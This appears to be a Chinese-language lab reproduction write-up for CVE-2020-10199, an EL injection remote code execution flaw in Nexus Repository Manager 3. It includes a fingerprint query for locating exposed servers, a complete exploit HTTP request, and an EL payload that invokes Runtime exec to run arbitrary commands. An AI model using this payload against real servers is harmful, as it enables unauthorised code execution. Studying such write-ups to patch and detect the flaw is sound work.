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90 lines
2.5 KiB
Markdown
90 lines
2.5 KiB
Markdown
# Nexus Repository Manager 3 group 远程命令执行漏洞 CVE-2020-10199
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## 漏洞描述
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Nexus Repository Manager 3 是一款软件仓库，可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中，存在一处任意EL表达式注入漏洞。
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参考链接：
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- https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
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- https://github.com/threedr3am/learnjavabug/blob/93d57c4283/nexus/CVE-2020-10199/README.md
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- https://github.com/jas502n/CVE-2020-10199
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## 漏洞影响
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```
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Nexus < 3.21.1
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```
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## 网络测绘
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```
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app="Nexus-Repository-Manager"
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```
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## 环境搭建
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Vulhub执行如下命令启动Nexus Repository Manager 3.21.1：
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```
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docker-compose up -d
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```
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等待一段时间环境才能成功启动，访问`http://your-ip:8081`即可看到Web页面。
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该漏洞需要至少普通用户身份，所以我们需要使用账号密码`admin:admin`登录后台。
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## 漏洞复现
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登录后，复制当前Cookie和CSRF Token，发送如下数据包，即可执行EL表达式：
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```
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POST /service/rest/beta/repositories/go/group HTTP/1.1
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Host: your-vps-ip:8081
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X-Requested-With: XMLHttpRequest
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X-Nexus-UI: true
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NX-ANTI-CSRF-TOKEN: 0.9514072635504696
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Content-Type: application/json
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
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Accept: */*
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
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Origin: http://your-vps-ip:8081
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Sec-Fetch-Site: same-origin
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Sec-Fetch-Mode: cors
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Referer: http://your-vps-ip:8081
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Cookie: NX-ANTI-CSRF-TOKEN=0.9514072635504696; NXSESSIONID=d7f44169-393b-446a-815d-0eff3acf5a71
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Connection: close
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Content-Length: 203
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{
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"name": "internal",
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"online": true,
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"storage": {
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"blobStoreName": "default",
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"strictContentTypeValidation": true
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},
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"group": {
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"memberNames": ["$\\A{233*233*233}"]
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}
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}
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```
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发送数据包后，如果提示Anti cross-site request forgery token mismatch，需要在Headers中加入：
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```
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NX-ANTI-CSRF-TOKEN: <your-csrf-token>
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```
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参考https://github.com/jas502n/CVE-2020-10199，使用表达式`$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/awesome_poc')}`即可成功执行任意命令。
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命令`touch /tmp/awesome_poc`执行成功：
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